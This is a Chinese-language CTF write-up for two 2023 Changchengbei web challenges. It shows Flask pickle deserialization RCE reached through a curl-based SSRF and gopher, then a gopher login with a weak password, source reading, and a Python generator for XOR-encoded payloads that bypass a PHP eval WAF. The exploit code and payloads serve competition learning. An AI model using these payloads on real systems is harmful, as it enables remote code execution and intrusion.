2023 长城杯 Writeup

2023 长城杯

WEB

seeking

题目给了hint1:读bash相关的内容 hint2:图片里面有隐藏的东西

问了下chatgpt关于bash的知识,读隐藏目录/.bash_history

$Home为/home/secret,题目给了id为secret

读到了/home/secret/Ez_piclkle/app.py目录,然后在进行读取/home/secret/Ez_piclkle/app.py

#!/usr/bin/python3.6
import os
import pickle

from base64 import b64decode
from flask import Flask, session

app = Flask(__name__)
app.config["SECRET_KEY"] = "idontwantyoutoknowthis"

User = type('User', (object,), {
    'uname': 'xxx',
    '__repr__': lambda o: o.uname,
})

@app.route('/', methods=('GET','POST'))
def index_handler():
    u = pickle.dumps(User())
    session['u'] = u
    return "这里啥都没有,我只知道有个路由的名字和python常用的的一个序列化的包的名字一样哎"


@app.route('/pickle', methods=('GET','POST'))
def pickle_handler():
    try:
        u = session.get('a')
        print(u)
        if isinstance(u, dict):
            code = b64decode(u.get('b'))
            print(code)
            print("awdwa")
            if b'R' in code or b'built' in code or b'setstate' in code or b'flag' in code:
                print("nonono")
                return "what do you want???"
            result=pickle.loads(code)
            print("awdawadawdwa")
            print(result)
            return result
        else:
            return "almost there"
    except:
        return "error"


if __name__ == '__main__':
    app.run('127.0.0.1', port=5555, debug=False)

根据hint2,对图片进行分析,可以分离出一个压缩包1.7z,然后读压缩包里面的hint,得到M0sT_D4nger0us.php

<?php
$url=$_GET['url'];
$curlobj = curl_init($url);
curl_setopt($curlobj, CURLOPT_HEADER, 0);
curl_exec($curlobj);
?>

后面就是gopher配合打pickle反序列化,重修熟悉一下PVM

data=b'''(cos
system
S'cd /;python3 -m http.server 5556;sleep 5'
o.'''
@app.route('/', methods=('GET','POST'))
def index_handler():
    payload = base64.b64encode(data)
    a = {
        'b':payload
    }
    session['a'] = a
    return "这里啥都没有,我只知道有个路由的名字和python常用的的一个序列化的包的名字一样哎"

这题后面就是通过目录映射出来flag文件的名字,然后可以直接读取

ls / > /tmp/1.txt
然后直接/?url=http://127.0.0.1/1.txt即可把目录映射出来 
/M0sT_D4nger0us.php?url=http://127.0.0.1/ffl14aaaaaaagg

https://xz.aliyun.com/t/11807#toc-5 最好有例题可以去做做

easy_extension

这里进行就发现一个ssrf入口,还是利用gopher协议来打

import urllib.parse

payload = """POST /login.php HTTP/1.1
Host: eci-2ze4x19l8hd74ov2rhuq.cloudeci1.ichunqiu.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 44

username=admin&password=123456&submit=submit
"""
# 注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A', '%0D%0A')
result = 'gopher://127.0.0.1:80/' + '_' + new
print(result)

弱口令登陆,读**/byfackstage/profile.php**

这里可以进行任意文件读取,但是只能读/var/www/html目录下的文件

读出calc.php

$one=$_POST['one'];
$two=$_POST['two'];
$cmd=Cmd\Calc::exe($one,$two);
echo $cmd;
eval($cmd);

读出select.php

if(!empty($search)){
    if(preg_match('/[^a-zA-Z.]+/',$search)) {
        die('hacker!');
    } else {
        $file_path=$search;
        if(!file_exists($file_path)){
            die("<script>alert('file No exist');location.href='select.php'</script>");
        }
        $fp=fopen($file_path,"rb");
        $file_size=filesize($file_path);
        Header("Content-type: application/octet-stream");
        Header("Accept-Ranges: bytes");
        Header("Accept-Length:".$file_size);
        Header("Content-Disposition: attachment; filename=".basename($file_path));
        $buffer=1024;
        $file_count=0;

        while(!feof($fp) && $file_count<$file_size){
            $file_con=fread($fp,$buffer);
            $file_count+=$buffer;
            echo $file_con;
        }
        fclose($fp);
    }
}

读出wafCheck.php

<?php
function waf($code){
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $code)){
        return $code;
    }else{
        return "hacker!!!";
    }
}

然后后面就是读cmd.so,读到cmd.so,是对这个cmd.so进行了简单的亦或操作

然后无参数绕过,用XOR绕过

import requests
import urllib
from sys import *
import os


def action(arg):
    s1 = ""
    s2 = ""
    for i in arg:
        f = open("xor_rce.txt", "r")   #
        while True:
            t = f.readline()   #
            if t == "":
                break
            if t[0] == i:
                # print(i)
                s1 += t[2:5]  # 切片
                s2 += t[6:9]  #
                break
        f.close()
    output = "(\"" + s1 + "\"^\"" + s2 + "\")"
    return (output)   ##


while True:
    param = action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";"
    print(param)

parser = """
t[2:5] 表示对字符串变量 t 进行切片操作,取索引为2到索引为5之间的字符(不包括索引为5的字符),返回切片后的子字符串。
s1 += t[2:5] 表示将切片得到的子字符串追加到字符串变量 s1 的末尾,相当于 s1 = s1 + t[2:5]。
s2 += t[6:9] 表示将切片得到的子字符串追加到字符串变量 s2 的末尾,相当于 s2 = s2 + t[6:9]。
总的来说,这段代码的作用是将变量 t 的指定位置的字符切片后添加到字符串变量 s1 和 s2 的末尾。
"""

https://www.yuque.com/shanhe-9jurb/kfn512/ll4pa9uzg40l5elk?singleDoc#H0IfP 山河大佬博客